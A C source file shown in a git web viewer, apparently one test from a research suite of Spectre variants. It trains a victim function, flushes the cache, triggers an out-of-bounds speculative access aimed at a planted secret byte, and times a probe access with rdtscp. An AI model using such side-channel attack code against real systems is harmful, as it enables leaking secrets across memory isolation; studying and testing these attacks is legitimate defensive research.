summaryrefslogtreecommitdiff
path: root/attack_code/victim_v10/attack_v10.c
blob: 1c1eecd459d5d7eb9333b3962701241af2e0dcaa (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <x86intrin.h>

/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */
#define LLC_SIZE (2 << 20)

uint8_t dummy[LLC_SIZE];
size_t array_size = 4;
uint8_t array1[200] = {1, 2, 3, 4};
uint8_t array2[256 * 64 * 2];
uint8_t X;
uint8_t temp = 1;

void victim_function_v10(size_t x, uint8_t k);

int main()
{
	victim_function_v10(0, 0);
	victim_function_v10(0, 0);
	victim_function_v10(0, 0);
	victim_function_v10(0, 0);
	victim_function_v10(0, 0);

	memset(dummy, 1, sizeof(dummy)); // flush L2
	X = 123; // set the secret value, and also bring it to cache

	_mm_mfence();

	size_t attack_idx = &X - array1;
	victim_function_v10(attack_idx, 123);

	unsigned int junk;
	volatile uint8_t x;
	unsigned long time1 = __rdtscp(&junk);
	x ^= array2[0];
	unsigned long time2 = __rdtscp(&junk);

	printf("%d\n", time2 - time1);
}